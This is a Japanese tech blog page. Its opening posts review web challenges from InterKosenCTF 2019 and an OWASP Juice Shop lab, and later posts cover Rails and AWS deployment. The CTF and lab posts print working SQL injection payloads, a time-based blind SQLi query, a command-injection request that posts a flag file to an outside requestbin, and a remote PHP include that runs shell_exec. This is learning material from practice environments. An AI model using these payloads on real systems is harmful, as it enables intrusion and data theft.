【復習回】InterKosenCTF 2019
お疲れ様です。今回はweb問だけに絞ってチャレンジしました、が、相変わらず、碌に回答できずに終わってしまうのでwriteupが書けません。が、そのままにするといつか見返したい時に困るので、復習という形で書き残します。参考サイトさんははじめにリンクを貼っておきますので、皆さんはそちらを見てください。。。
このページはwriteupではなく復習回です。。。
参考サイト
【web】uploader(warmup)
ファイルをパスワード付きでアップロードできるページに、すでにアップロードされているシークレットファイルをゲットしようという問題。アップされているファイルを検索できるフォームに下を記述したら通ったので、脆弱。
') or 1=1--
提示されているソースファイルよりpasscode
カラムを抜き出します。
')or 1=1 union select passcode from files--
passcode
がフラグでした。
the_longer_the_stronger_than_more_complicated
interKosenctf2019 · GitHub
【web】Temple of Time
攻撃されている投票システムのpcapng
ファイルが渡されるので、フォレンジックします。一番多いアクセスはhttp
でのsqlインジェクション試行なので、とりあえず1つ見てみる。
request uri query parameter: portal='or(select(if(ord(substr((select+password+from+users+where+username='admin'),12,1))=109,sleep(1),'')))#
substr
でパスワードの12番目の文字1つを抜き出し、ord
で数字として返す、それが109(m)かどうかを判別し、正解だったら1秒sleepする。これが、総当たりで1からやられています。ので、レスポンスが遅い部分を抜き出して行けば、フラグが見えます。
KosenCTF{t1m3_b4s3d_4tt4ck_v31ls_1t}
これ、目grepでちまちまやったのですが、きっといい方法があると思うのであとで追記します。
【web】Image Extractor
これeasy問?とても難しかったです。。解けなかった。docx
ファイルの写真部分を切り出してくれるサイト。正確にはアップしたファイルをジップ展開して、word/media/
ディレクトリ以下の拡張子付きのファイルを見れるようにしてくれる。 どうやら/flag
ファイルにフラグが書いてあるらしい。
ソースはこちら。
interkosenctf2019 · GitHub
シンボリックリンク
word/media/
内のファイルが表示できるので、その中に/flag
へのシンボリックリンクを作れば大丈夫とのこと。コマンド的には下のようになる。
$ mkdir -p word/media $ ln -s /flag word/media/flag.txt $ zip -ry flag.zip word 参考:https://qiita.com/mikecat_mixc/items/471c110ae2228915c88b#image-extractor
僕は競技中は右クリックでzip化していたので、そうしました。アップロードしてからflag.txt
ファイルを開くとフラグが得られたようです。
アップロードしたファイルが展開された様子。
コマンドインジェクション
こちらの方法でも解けるらしい。
ファイル名を正規表現で末尾指定で縛っているが、改行以降については無視されるので、改行後にコマンドをインジェクション可能であるとのこと、system
メソッドにインジェクションして、requestbin
宛にflagを送信して完了する。
# get '/image/:name/:image' do # 正規表現 # params[:name] !~ /^[a-f0-9]{32}$/ || params[:image] !~ /^[A-Za-z0-9_]+\.[A-Za-z0-9_]+$/ # 元コード system("unzip -j #{zipfile} word/media/#{params[:image]} -d #{filedir}") # リクエスト http://web.kosenctf.com:12000/image/xxxxx自動生成部分xxxxxx/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; # # インジェクション結果 unzip -j zipファイル名 word/media/image.png\ncurl -X POST {requestbin宛て} -d `cat flag`; # -d ファイル名.....
【web】Neko Loader
3つの写真の名前とpng, jpg
拡張子を選択するとそのファイルが表示されるサイト。情報として、写真を表示する処理と、phpinfo
の情報が見られます。
処理はこの内容。
interkosenctf2019 · GitHub
POST
でext
とnam
に2値を送ってますが、ext
の方は4文字制限があり,include($ext.'/'.$name.'.'.$ext);
として使われます。
getinfo
から、allow_url_include
がon
になっていることがわかるので、include
で外部スクリプトが読み込めるとのこと。
しかし、http:
は文字数に引っかかるため、ftp:
を使用。
ext = ftp: name= /<ftpサーバのなまえ>/attack.php#
#attack.php <?php echo shell_exec('ls /;cat /*');?>
このファイルをinclude
で読み込ませることで、実行結果を取得しフラグをとるとのことですが、ftp
サーバってどうやって用意するのがいいのでしょうか...調べておきます。できれば無料で...
結果
ちなみに真ん中らへんで42位..悔しい。。少ないコード量でこの難しさはさすがでした。。ただ、やり方がわからないではなく、そもそも知識がないって感じの結果だったので引き続き勉強頑張ろう..
【UNION SELECT】Juice ShopのSQLインジェクションの備忘録
OWASPが提供してくれているやられサイト。
今までUNION SELECT
のSQLインジェクション
がよく分かっていなかったので、問題を解いたついでに備忘録。
Retrieve a list of all user credentials via SQL Injection
bkimminich.gitbooks.io
この問題は、クエリを細工して通常、商品の条件検索する場所で、ユーザの登録情報をSQLiによって読み取ろうという問題。問題の解説自体は本家のページにあるので、そちらで。ここでは、忘れないようにやった手順を書いておこうと思います。
大したことは書きませんが、誰かの役にたてば幸いです。
解くまえに
別の問題のインジェクションの結果から、ユーザの情報はUsers
テーブルで管理され、email
とpassword
カラムがあることが分かっています。(ログインページのエラー等から発行されているSQL文が覗け、そこから判明可能)
通常のリクエスト
/rest/products/search?q=
このリクエストには、条件が指定されていないので全ての商品情報が返ってきます。json形式ですが
# response { "status": "success", "data": [ { "id": 1, "name": "Apple Juice (1000ml)", "description": "The all-time classic.", "price": 1.99, "image": "apple_juice.jpg", "createdAt": "2019-08-08 11:15:22.310 +00:00", "updatedAt": "2019-08-08 11:15:22.310 +00:00", "deletedAt": null }, { "id": 24, "name": "Apple Pomace", ....
エラーを起こす
ありがたいことに、エラーを起こすとそのSQL文が返ってきます。
/rest/products/search?q=shop'
{ "error": { "message": "SQLITE_ERROR: near \"'%'\": syntax error", "stack": "SequelizeDatabaseError: SQLITE_ERROR: near \"'%'\": syntax error\n at Query.formatError (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:419:16)\n at Query._handleQueryResponse (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:73:18)\n at afterExecute (/app/node_modules/sequelize/lib/dialects/sqlite/query.js:247:31)\n at replacement (/app/node_modules/sqlite3/lib/trace.js:19:31)\n at Statement.errBack (/app/node_modules/sqlite3/lib/sqlite3.js:16:21)", "name": "SequelizeDatabaseError", "parent": { "errno": 1, "code": "SQLITE_ERROR", "sql": "SELECT * FROM Products WHERE ((name LIKE '%shop'%' OR description LIKE '%shop'%') AND deletedAt IS NULL) ORDER BY name" },
))
でwhereを終えて、union select
でUsersテーブルから情報をとった後、残りはコメントアウトすれば良さそうです。
union select
よく分かっていなかったのが、union select
を書くときのカラムの数を同じにする という話。
蓋を開けてみると簡単なことで、union select
の左の結果で得られるカラムの数と同じにするということだそうです。今回であれば、左側の文ではProductsテーブルの全てのカラムをとってくるので、id
,name
,description
,price
,image
,createdAt
,updatedAt
,deletedAt
の8がカラム数です。
よって、
/rest/products/search?q=shop')) UNION SELECT email,password,2,3,4,5,6,7 FROM Users--
とすればカラム数が8個の指定になります。(数字の振り方が変なのは意味なし)ここは、発行されているsql文が不明な時に、よく1つずつ増やしながら試している部分です。だからよく分かっていなかったかも...?
レスポンスの一部はこんな感じで返ってきます。
{ "id": "J12934@juice-sh.op", "name": "3c2abc04e4a6ea8f1327d0aae3714b7d", "description": 2, "price": 3, "image": 4, "createdAt": 5, "updatedAt": 6, "deletedAt": 7 }, { "id": "admin@juice-sh.op", "name": "0192023a7bbd73250516f069df18b500", "description": 2, "price": 3, "image": 4, "createdAt": 5, "updatedAt": 6, "deletedAt": 7 }, { "id": "amy@juice-sh.op", "name": "030f05e45e30710c3ad3c32f00de0473", "description": 2,
UNION SELECT
の右側で指定したUsersテーブルのカラムの値を、左側で取得したカラムに紐付ける?挿げ替える?ために、同じ数にする必要があったようです。(初心者)
模範回答
回答はこんな感じです。 bkimminich.gitbooks.io
【Rails5】find_by(nil)が先頭レコードを返す
find_by
find_by
メソッドは、検索するカラムとその条件を指定してそのレコードのうち最初の一件を取得します。例えばfind_by(id: 1)
ならidが1のレコードを返します。
find_by(nil) -> nil ???
使い方は正しくはありませんが、この使い方をするとnil
が返ってきそうですが、実は先頭レコードが1件返ってきます。挙動としてはfirst
と同じ感じ。こんな書き方は普段しませんが、カラムの指定を忘れ、params
の値がnilであったりキー名をタイポしたりした際に、エラーになりません。
環境
ruby 2.5.3p105 Rails 5.2.3
テストに使用するモデル
$ bin/rails g model User name:string
Userモデルを作って、idとnameというカラムを持たせます。マイグレートしてください。ひとまず"Alice"という名前のUserを作っておきます。
発行されるSQL文
User.find_by(name: "Alice") User Load (0.7ms) SELECT `users`.* FROM `users` WHERE `users`.`name` = 'Alice' LIMIT 1 => #<User id: 1, name: "aa", created_at: "2019-08-07 13:02:51", updated_at: "2019-08-07 13:02:51">
User.find_by("Alice") User Load (0.6ms) SELECT `users`.* FROM `users` WHERE (Alice) LIMIT 1 #エラー
User.find_by(name:nil) User Load (0.4ms) SELECT `users`.* FROM `users` WHERE `users`.`name` IS NULL LIMIT 1 => nil
User.find_by(nil) User Load (0.3ms) SELECT `users`.* FROM `users` LIMIT 1 => #<User id: 1, name: "aa", created_at: "2019-08-07 13:02:51", updated_at: "2019-08-07 13:02:51">
なぜ
find_by
def find_by(arg, *args) where(arg, *args).take rescue ::RangeError nil end
より、where(nil).take
が呼ばれます。
User.where(nil) User Load (0.5ms) SELECT `users`.* FROM `users` LIMIT 11 => #<ActiveRecord::Relation [#<User id: 1, name: "aa", created_at: "2019-08-07 13:02:51", updated_at: "2019-08-07 13:02:51">, #<User id: 2, name: "Alice", created_at: "2019-08-07 13:24:35", updated_at: "2019-08-07 13:24:35">]>
より、where(nil)は条件なしで検索がかかるようです。
take
はlimit 1
がかかるので、結果的に先頭のレコードが返って来る仕組みです。
github内でのissue
github.com
だいぶ昔に閉じられていますが、find_byはwhereのエイリアスだから、結局where(nil)の挙動の問題に帰結するよ。みたいな感じで閉じられています。where(nil)がそういう挙動なら、そりゃそうでしょ?ってお話でしょうか?
しかし、その一年後、いややっぱりおかしいよ。nil
を返すべきだ。find_by
の挙動はwhereの話と別にして考えるべきだ。みたいなことを言っている人が現れました。結局、何も変更がなかったようですが。
個人的にも、find_by(nil)
はnilを返すようにしていい気がします。変にテストとか通ってしまう可能性もあって、見落としがちになりそうです。
【terraform+capistrano+itamae】Railsのアプリケーションをawsにデプロイした時の備忘録③
前回はcapistrano
でデプロイをする部分をやった。が、デプロイ先のaws
内の準備は手動でやったので、その部分をitamae
自動化したい。
目的
itamae
でaws
上にRails
アプリが動作するのに必要な環境をセットアップできるようにする。最終的な流れとしては
terraform
->itamae
->capistrano
という作業手順になるはずである。
itamae
環境を整える手順としては
yum
のアプデ、git
等のインストールrbenv
のセットアップ- その他
gem
が必要とする物(ImageMagick
など)
rbenvについては、インストールするレシピがあったのでそれを使用する。が、なぜかbundler
を上手くインストールできなかったので、手動で行う事にした。
GitHub - k0kubun/itamae-plugin-recipe-rbenv: Itamae plugin to install ruby with rbenv
その他は他サイトを参考に自前で書いてみる。
CapistranoとItamaeを使った複数環境へのプロビジョニング - neuro, Inc. エンジニアブログ
itamae呼び出し方法
itamae
のgem
が入っていればフォルダ構成は自由だが、ファイル同士は相対パスで呼び出すのである程度構成は決めておくと良い。
僕はこんな感じ。
下のような形でitamae
を実行させる。
bundle exec itamae ssh --host [ホスト名] --user ec2-user itamae/roles/app.rb
この場合、app.rb
から芋づる式に呼ばれる。app.rb
には呼び出し順にレシピを呼び出すだけでOK。
コマンドでyml
ファイルを渡して環境変数?を定義してあげる方法があるのだが、今回はレシピ側からinclude_recipe
してもらうことで環境変数を取り込む。ここには、ユーザ名や各パスワード、aws
内のRDB
のホスト名などを記述しておく。今回は特に気にしていないけれど、このファイルだけ適宜変更すれば、以降変更があってもレシピをいじらなくて済む。
node.reverse_merge
することで、レシピ内からnode[:hoge][:hoge]
のような形で値を取得できるようになる。
レシピ
基本的に各レシピ間に違いは少ないし、最悪の場合サーバ上で行うコマンドを全て書けば良いので一部だけ紹介しておく。
dependencies
一番初めに呼び出したレシピで、git
コマンドをインストールしたり、そもそもyum
のアップデートを走らせたりと大事なことはここでまとめてやっている。
一番最後の行はImageMagick
のインストールだが、すでにインストールされていたら実行しないようにしている。また、今回指定したrmagick
が3.0
で、yum
から入るImageMagick
のバージョンと上手く連動しないため、公式サイト経由でインストールしている。
users
cookbooks/users/default.rb
ではcookbooks/users/*/default.rb
を呼び出す指示だけ書きます。こうすることで作りたいユーザのレシピだけを指定して呼び出すことができ、レシピも整理できます。今回はmycalendar
というユーザを生成します。
# cookbooks/users/default.rb include_recipe "./mycalendar/default.rb"
名前の指定等は別ファイルから行います。freeze
とかはrubocop
先生がつけてくれました。
.bashrc.erb
には大したことは書いてないです。
# users/mycalendar/templates/.bashrc.erb # .bashrc # Source global definitions if [ -f /etc/bashrc ]; then . /etc/bashrc fi # User specific aliases and functions ex.global variable
authorized_keys
には今後手元からそのユーザでssh
接続するために使用する公開鍵をいれておきます。このユーザでssh
する予定がないならいらないかも。
sudoers.d
配下におきたい設定はここに書いておきます。僕はunicorn
を走らせる必要があるのでこれだけ設定しておきました。ここの設定をミスるとsudo
が使えなくなり詰むので回避策は考えておいてください
# users/mycalendar/files/etc/sudoers.d/mycalendar #user rule for mycalendar # unicorn mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn start mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn stop mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn restart mycalendar ALL=(ALL) NOPASSWD: /sbin/service unicorn status
ruby
rubyはシステムにインストールします。
1つ目のinclude_recipe "rbenv::system"
は、rbenv
をいれられるgem
で環境変数に値を設定しておけばそれに従ってインストールしてくれます。今回はグローバルな所にインストールをしましたが、ユーザ別に入れることも可能です。その場合、ディレクトリ等が多少変わってくるので他のファイルも変更が必要になります。
その他
あと気をつける部分はnginx
のインストールと起動タイミングです。unicorn
と連動するようにしたのですが、僕のレシピではRails
の準備(ディレクトリの生成等)が終わる前にnginx
を起動するとエラーが発生しました。(nginx
の設定ファイルで指定したディレクトリが存在しないため) なので、nginx
の起動だけはRails
のレシピの最後で呼び出しています。
もう一つはディレクトリの生成と権限です。上の方でitamae
の実行をしているのはec2-user
というaws
のデフォルトのユーザで権限が強いです。よって基本的にディレクトリ生成時に指定がなければ所有者やグループがroot
になります。が、今回はmycalendar
というアプリケーションの実行に必要なだけの権限を付与したユーザを作り、そいつに作業をして欲しいのです。よってこのままでは、実行時に書き込み権限がなかったり、そもそもディレクトリにアクセスができないという自体にもなります。ので、ディレクトリ作成時にはなるべく、生成したユーザの権限を付与しておきましょう。(capistrano
でデプロイする場合にもmycalendar
ユーザを使用するので、権限がないディレクトリにデプロイするとエラーを吐きます。)
MySQL
aws
のRDB
を使用するため、mysql-server
はインストールしません。下で色々やっているのは、アプリがmysql
をいじる際に使用するユーザの生成です。パスワードはコマンドラインから流すしかなかったのでセキュアではありませんが、以下のようにしました。もっといい案があれば教えてください。
capistrano側の変更
rbenv
がユーザ毎へのインストールではなくなるので、パスを設定してあげます。
# config/deploy.rb .. # 追記 set :rbenv_path, "/usr/local/rbenv" ..
ssh
では新たに生成したユーザを使うので、上で登録した公開鍵の対の秘密鍵を使用するように指定します。
# config/deploy/production.rb ... - set :ssh_options, keys: "~/.ssh/id_rsa" + set :ssh_options, keys: "~/.ssh/mycalendar_id_rsa"
あと気にする点は、RDB
にアクセスするユーザをitamae
とcapistrano
で対応させておくことだと思います。
余談
階層わかりにくかったので、下にもう少し詳しいののっけておきます。
それとgist
のファイルの説明の所に階層を地味にメモしているので何かの役に立てば、、
【terraform+capistrano+itamae】Railsのアプリケーションをawsにデプロイした時の備忘録②
前回はterraform
でaws
の構築を行いました。
Capistrano
itamae
を使用して、環境の構築も同時に学習したかったのですが、あまりにも学習コストが高くなりそうだったので、サーバのrbenv
,nginx
やmysql
のインストールはまずは手動で行いました。bundler
はGemfile.lock
を参照して同じバージョンを入れるのが望ましいかも?
デプロイプロジェクトで使用しているgem
が要求する物に関しては適宜入れていきます。ImageMagick
とか。本当はitamae
でその辺りもカバーします。バージョン等は各環境に合わせて。
参考サイト
以下、設定ファイルの説明のみ書いていくので、手順が知りたい人はリンク先をおってください。 (デプロイ編①)世界一丁寧なAWS解説。EC2を利用して、RailsアプリをAWSにあげるまで - Qiita
AWS RailsアプリケーションのCapistranoによるデプロイ - Qiita
使用Gem
capistrano3-unicorn
は使用せずにやりました。
#Gemfile group :development, :test do gem 'capistrano' gem 'capistrano-bundler' gem 'capistrano-rails' gem 'capistrano-rbenv' end group :production, :staging do gem 'unicorn' end
bundle exec cap install
を実行
capistrano設定
Capfile
config/deploy/production.rb
このファイルは大枠の設定ファイルみたいなイメージ。
server
にはデプロイする先のアドレスと、そこにどのロールのタスクを実行するか指定する。今回でいうとapp``db``web
と指定したタスクが指定アドレス上で実行される。次に紹介するconfig/deploy.rb
にてタスクごとにロールを振っているのがわかる。
config/deploy.rb
このファイルが上から実行されるみたいなイメージだと良いかも?上から変数を定義して下でタスクを順に実行するみたいな。例えば上のconfig/deploy/production.rb
でdb
を指定しなかった場合、db_create
の中身は実行されない。
repo_url
ではGit
のPersonal API token
をxxxxに指定することでプライベートリポジトリの物もデプロイ可能。記事の下の方に参考サイトを貼っておきます。
lib/capistrano/tasks/unicorn.rb
unicorn
のタスクを記述したファイル。上のconfig/deploy.rb
内のunicorn:restart
が呼び出しているのはこのファイルに定義したタスク。
config/unicorn/production.rb
unicorn
の設定ファイル。capistrano
との関連はないが、デプロイ先のディレクトリについての関係は同じにしておく。
nginx
,mysql
等の設定については、参考サイト先を参照してください。基本的にこの辺りはのちにitamae
でカバーしようと思うので、入れるコマンドや手順はメモっておくとitamae
の導入が楽かもです。
環境変数
config
gemを使用しました。
ローカルにはconfig/secrets.yml
に
# config/secrets.yml(ローカル) production: secret_key_base: <%= Settings.production[:secret]%>
としましたが、他のページにもいくつか同じように指定している箇所があるかと思います。上のconfig/deploy.rb
の設定で、shared/config/settings/production.yml
にシンボリックリンクを生成することを宣言したため、そちらに内緒にしたい値を定義していきます。
# shared/config/settings/production.yml (aws) database: user_name: 'root' password: 'hogehoge' production: secret: 'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx' mail: address: 'test@example.com' password: 'xxxxxxxxxxxxx'
こんな感じ。
awsのRDBを使用する
config/database.yml
でhost
をaws
に指定しなければいけない。なので、aws
のインスタンス内でyum install mysql-server
をやる必要はない。(aws
内にRDB
インスタンスを作っていない場合は例外)
プライベートリポジトリからdeployする
Capistrano3でgithubのプライベートリポジトリを簡単にデプロイする方法 · polidog lab++
CapistranoでGitHubにアクセスする際のネットワークプロトコルをhttpsにする - Qiita
デプロイ実行
$ bundle exec cap production deploy
その他対処など..
assets:precompileエラー
ActionView::Template::Error (The asset "application.css" is not present in the asset pipeline.):
上のエラーはcss
等が未コンパイルのためエラーが起こる。自分でコンパイルする必要があるが、yarn
が必要になるため、下記事を参考に導入後次のコマンドを入力する。
エラー解決の参考
Rails5でnginx+pumaでproduction環境を構築する · atwata developer blog
最新のnodejs
とyarn
導入の参考
EC2にyarnをインストールする|新卒エンジニアの開発日記
bundle exec rake assets:precompile RAILS_ENV=production
また、静的ファイルが読み込めない場合以下をconfig/environments/production.rb
に記述
# config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present? コメントアウト config.public_file_server.enableda = true
ImageMagic問題
gemのrmagic
のバージョンが3だと、ImageMagic
のバージョン7に2019年6月現在対応していない。が、6系も低すぎるとエラーになる。
ImageMagicインストール参考サイト
Install ImageMagick from source on Amazon Linux · GitHub
ImageMagicバージョンダウンロードサイト
Index of /download
db:migrate
参考にしたサイト通りにやっていればエラーなど出ないが、db:migrate
が実行されない現象にぶつかった。
config/deploy/production.rb
のserver
のロールとしてdb
を含めていなかったため、db
ロールに割り当てられていた、マイグレーションの実行がされておらずテーブルが生成されていなかった。(itamae
導入前なので、テーブル自体は手動で生成した)
Capistrano の db ロール - akishin999の日記
デプロイ時エラー
git stdout: Nothing written git stderr: fatal: Not a valid object name tar: これは tar アーカイブではないようです tar: 前のエラーにより失敗ステータスで終了します
=>Capfile
で指定したデプロイするブランチ名が違っていた。
sharedディレクトリ等の作成
あらかじめディレクトリを生成しておく場合、権限を正しくしておかないとcapistrano
が書き込めなくてエラーがでる。terraform
で使用したアカウントとcapistrano
で使用するアカウントの権限の差に注意しておくこと。特に、ec2-user
より権限の小さいユーザを生成してから、capistrano
でデプロイするとだいたい書き込めないので注意。次回のitamae
編ではその辺りにも注意して進めます。
次の記事はこっち